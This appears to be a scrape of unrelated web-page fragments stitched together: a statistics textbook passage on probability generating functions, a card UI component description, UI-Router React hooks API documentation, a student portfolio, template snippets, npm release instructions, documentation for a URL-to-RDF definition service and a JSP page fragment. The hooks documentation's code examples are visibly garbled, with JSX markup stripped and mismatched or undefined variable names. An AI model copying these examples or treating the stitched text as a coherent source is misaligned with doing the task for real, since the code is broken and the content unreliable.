It's begining to look as though there's a theorem here. In the rest of the chapter we will study that theorem, which about the approximate distribution of the sum of a large i.i.d. sample.
Keep in mind that our pgf method gives the exact distribution of the sum of an i.i.d. sample from a distribution on finitely many non-negative integers, provided NumPy
can handle the calculations. In the example above, the pgf of $S_{100}$ is a polynomial of degree 900. NumPy
handled it just fine.


A quick and simple card UI layout component. Cards width's are set by standard bootstrap columns, cards will then stack neatly under each other rather than floating and leaving un-even gaps on the page. To make the cards animate in to position add the class animate
to each individual card. By default the elements within sa-cards
with the class card
will be positioned, to override this add the attribute data-selector=".class-name"
to sa-cards
.

...

...

...

...


--- ---
A hook that returns the current state and parameter values.
A hook that returns the current state and parameter values.
Each time the current state or parameter values change, the component will re-render with the new values.
Example:
function CurrentState() {
const { state, params } = useCurrentStateAndParams();
return {state.name} ({JSON.stringify(params)});
}
Internal hook to support deep diffing in hook dependencies
Internal hook to support deep diffing in hook dependencies
A hook that returns true if a given state is active.
A hook that returns true if a given state is active.
Example:
function ContactsLabel() {
const isActive = useIsActive('contacts');
return Contacts>
}
Example:
function JoeLabel() {
const isActive = useIsActive('contacts.contact', { contactId: 'joe' });
return Joe>
}
the name of the state to check. Relative state names such as '.child' are supported. Relative states are resolved relative to the state that rendered the hook.
if present, the hook will only return true if all the provided parameter values match.
when true, the hook returns true only when the state matches exactly. when false, returns true if the state matches, or any child state matches.
A hook that invokes the provided callback whenever the current state changes.
A hook that invokes the provided callback whenever the current state changes.
The callback receives the StateDeclaration and parameter values of the new current state.
Example:
function ShowCurrentState() {
const [routerState, setRouterState] = useState('');
useOnStateChanged((state) => setState(state.name);
return {routerState ? `state changed to ${routerState}` : null}
}
a callback that receives the new current state and parameter values
A hook that returns the UIRouter instance
A hook that returns the UIRouter instance
Example:
const FormSubmit() {
const router = useRouter();
const form = useContext(FormFromContext);
function submit() {
validateForm(form)
.then(submitForm)
.then(() => router.stateService.go('home'));
}
return <button onClick={submit}>Submit form</button>;
}
A hook to create a link to a state.
A hook to create a link to a state.
This hook returns link (anchor tag) props for a given state reference. The resulting props can be spread onto an anchor tag.
The props returned from this hook are:
href
: the browser URL of the referenced stateonClick
: a mouse event handler that will active the referenced stateExample:
function HomeLink() {
const sref = useSref('home');
return Home
}
Example:
function UserLink({ userId, username }) {
const sref = useSref('users.user', { userId: userId });
return {username}
}
The name of the state to link to
Any parameter values
Transition options used when the onClick handler fires.
A hook to create a link to a state and track its active status.
A hook to create a link to a state and track its active status.
This hook returns link (anchor tag) props for a given state reference.
The resulting props can be spread onto an anchor tag.
If the referenced state (and params) is active, then the activeClass is returned as the className
prop.
The props returned from this hook are:
href
: the browser URL of the referenced stateonClick
: a mouse event handler that will active the referenced stateclassName
: the activeClass parameter when the state (or any child state) is active, otherwise an empty stringExample:
function HomeLink() {
const sref = useSref('home', null, 'active');
return Home
}
Example:
function UserLink({ userId, username }) {
const sref = useSref('users.user', { userId: userId }, 'active');
return {username}
}
This hook is a variation of the useSref hook.
The name of the state to link to
Any parameter values
A css class string to use when the state is active
Transition options used when the onClick handler fires.
A hook to create a link to a state and track its active status.
A hook to create a link to a state and track its active status.
This hook returns link (anchor tag) props for a given state reference.
The resulting props can be spread onto an anchor tag.
If the referenced state (and params) is active, then the activeClass is returned as the className
prop.
The props returned from this hook are:
href
: the browser URL of the referenced stateonClick
: a mouse event handler that will active the referenced stateclassName
: the activeClass parameter when the state is active, otherwise an empty stringExample:
function HomeLink() {
const sref = useSref('home', null, 'active');
return Home
}
Example:
function UserLink({ userId, username }) {
const sref = useSref('users.user', { userId: userId }, 'active');
return {username}
}
This hook is a variation of the useSrefActive hook.
This variation does not render the activeClass
if a child state is active.
The name of the state to link to
Any parameter values
A css class string to use when the state is active
Transition options used when the onClick handler fires.
Returns a stabilized callback reference which delegates to the most recent unstable callback
Returns a stabilized callback reference which delegates to the most recent unstable callback
This is similar to useCallback, but allows unstableCallback to access the most recent values from the closure. This can be useful if the callback is being stored long term, such as in the Transition Hook registry.
Example:
const latestValueFromProps = props.value
const transitionHook = useStableCallback(() => console.log(latestValueFromProps));
useEffect(() => {
const deregister = transitionService.onBefore({ exiting: 'someState' }, transitionHook);
return () => deregister();
}, []);
A React hook that registers a UI-Router Transition Hook and manages its lifecycle.
A React hook that registers a UI-Router Transition Hook and manages its lifecycle.
This hook can be used to register a Transition Hook with UI-Router from a component. The Transition Hook will be automatically de-registered when the component unmounts. The Transition Hook will receive the current Transition object (like all Transition Hooks).
Example:
function DisallowExitUntilVerified() {
const [allowExit, setAllowExit] = useState(false);
useTransitionHook('onBefore', {}, transition => {
return allowExit;
});
if (canExit) {
return OK, the current state can be exited!
}
return (

The current state can't be exited until you click this button:
<button onClick={() => setAllowExit(true)}>Allow Exit</button>

)
}
the name of the lifecycle event
the transition criteria object
the callback to invoke
transition hook options
Generated using TypeDoc
UI-Router React Hooks
This is a collection of react hooks that can be used in functional components.


My name is Vinay Singh and 3 words that describe me are developer, athlete (ESPN Profile), and leader. I am a Computer Science student at the University of Nebraska-Lincoln with a passion for technology and sports. Having conquered the world of athletics to my satisfaction, my primary goal right now is to establish myself in the world of software development and/or data science. Feel free to contact me about absolutely anything!
To get my feet wet with Kaggle, I completed the Titanic Machine Learning Survival Predictor challenge, where I finished in the top 40%. As I was more interested in learning Python and its various libraries, I was not too concerned with improving my score. Click Here for a detailed analysis of my attempt.
Close ProjectFor the past year, I have been a part of the Computational Creativity research group at the University of Nebraska-Lincoln under the guidance of Dr. Soh Leen-Kiat. As a group, we take special interest in student behavior and its implications on learning motivation and ability. Our ultimate goal is to be able to provide targeted intervention for students in need based on the textual data we collect from their responses to Creative Thinking exercises. A more comprehensive write-up can be found here.
Close ProjectAs my first PHP MVC web application project, I have decided to build a financial tracker to help keep track of user spending. Ultimate functionality is yet to be decided but I would like to accomplish a few goals in this project at the very minimum. First, I would like to implement an MVC architecture-styled application. Second, I would like to integrate member profiles to gain experience with databases, cookies, and sessions. Lastly, I would like to implement data visualization using D3.js and potentially integrate some machine learning analyses on the collected data. Keep up with my progress on Github .
Close Project


LabBook
Welcome
Welcome to the LabBook! This software was written by Kym Eden-Jones and Alastair Mailer.
LabBook Status
{{=UL(statusList)}}
LabBook Useful Links
LabBook appadmin page
Access PageLayout view - TODO
Access SectionLayout view - TODO
Render test page


{% set page_title = 'HEXA-A - Testsuites' %} {% set tab = 'testsuites'%} {% extends 'group/group_page.html' %} {% block group_content %}
No testsuites were found in group.


This instructions will guide you how to release a new version Co-Design.
Follow this guide to release a new version of Co-Design:
Open the repository in your terminal and build both the css and the documentation. There shouldn't be any changes in the most cases, but if there are any, commit them.
Now run npm version x.y.z
. This will update the package json files and create a new commit with that version name.
Choose x, y and z based on our current release version and on the amount of changes this release introduces. As a general rule, you'll probably never increment x, you'll increment y if new components are introduced or other major changes are done and you'll increment z in all other cases. When changing y, set z to 0.
Update the version numbers in docs_src/_data/release.json
and rebuild the documentation. Amend the release commit with the changes.
Push the commits to GitHub. Create a new release tag there and add a changelog.
Run npm publish
to publish the release to NPM. You'll probably need to sign into NPM, when you haven't done so already.
Merge develop
into master
. This will deploy the documentation.


Name of the definition. The group and the name make a full name of the definitions
in the structure <group>/<name>. The created definition is accessible through the API on the URL path
/api/objects/<group>/<name>.
You can group your object definitions together. The group and the name make a full name of the definitions
in the structure <group>/<name>. The created definition is accessible through the API on the URL path
/api/objects/<group>/<name>.
The group is also for better performance. If the request's URL contains parameter 'group', the definition is
searched only in the list of the objects of this group.
Object definition is identified with a regular expression that describes the structure of the requested URL.
For example, if the client's request contains in the 'url' parameter URL http://example.com/objects/somecompany/time/2015
and the regex is set to '/objects/somecompany/time', the requested URL is mapped to this definition.
{{generatedUrl}}
In some cases, several regular expressions can describe the same group of URL addresses.
For example regex 'object' for URL http://example.com/object/id/42 and regex 'obj' for URL
http://anothersite.com/obj/time/2016. When the system tries to find a definition for the requested URL,
it tries to match that URL against regular expressions of the definitions. If it tries to match
the first URL against the second regex before the first regex, it will fail or generate invalid object.
But if you set for example priority 1 to definition with regex 'object' and priority 2 for definition
with regex 'obj', the first one is compared before the second regex thus the system can generate a valid object.
There are several types of the definition you can use. The first are the basic RDF serializations - Turtle, RDF/XML,
N-Triples and JSON-LD. In the object definition you can write template with placeholders for these serializations.
You can use also templates for SPARQL queries - locally construct query (SPARQL Construct type) and construct/describe
queries which are executed on the SPARQL endpoint identified by the URL that you can set after you select this type.
The last type you can use is the Proxy type. After configuring the proxy type, requests are forwarded to the configured URL.
The advantage of this type is that you can have some other applications for generating objects but still you can use
for example output serializations implemented in this project.
The URL address where the system should forward requests.
A name of the URL parameter to fill with the requested URL.
URL address of the SPARQL endpoint.
Structure of the definition template depends on the definition type. It could be SPARQL query or
one of the supported RDF serialization. In the template you can use placeholders which identify the place
where should be filled parameters from URL.
Placeholder has this structure:
[@<param_number>[, "<regex>"]].
<param_number> Parameter numbers identify strings between slashes and they are indexed from 1.
Example:
URL http://example.com/objects/time/2015-2016
@1 = http:
@2 = empty string (between //)
@3 = example.com
@4 = objects
@5 = time
@6 = 2015-2016
Parameter @0 is special parameter which represents the whole URL
The optional parameter is regular expression. With regex you can extract a part of the URL
using capture group. For example if you want to get from parameter @6 only the first year, you can use
this placeholder: [@6, "(\d+)-"].
Objects can be accessed with normal requests from web browsers. In the HTML template you can
use template placeholders.
Placeholder has this structure:
[@<param_number>[, "<regex>"]].
<param_number> Parameter numbers identify strings between slashes and they are indexed from 1.
Example:
URL http://example.com/objects/time/2015-2016
@1 = http:
@2 = empty string (between //)
@3 = example.com
@4 = objects
@5 = time
@6 = 2015-2016
Parameter @0 is special parameter which represents the whole URL
The optional parameter is regular expression. With regex you can extract a part of the URL
using capture group. For example if you want to get from parameter @6 only the first year, you can use
this placeholder: [@6, "(\d+)-"].


Connex.us
<% UserService userService = UserServiceFactory.getUserService(); User user = userService.getCurrentUser(); if (user != null) { pageContext.setAttribute("user", user); } %>
Hello, ${fn:escapeXml(user.nickname)}!
">Sign out
Manage
|
Create
|
View
|
Search
|
Trending
|
Social
Error: You tried to create a new stream whose name is the same as an existing stream; operation did not complete.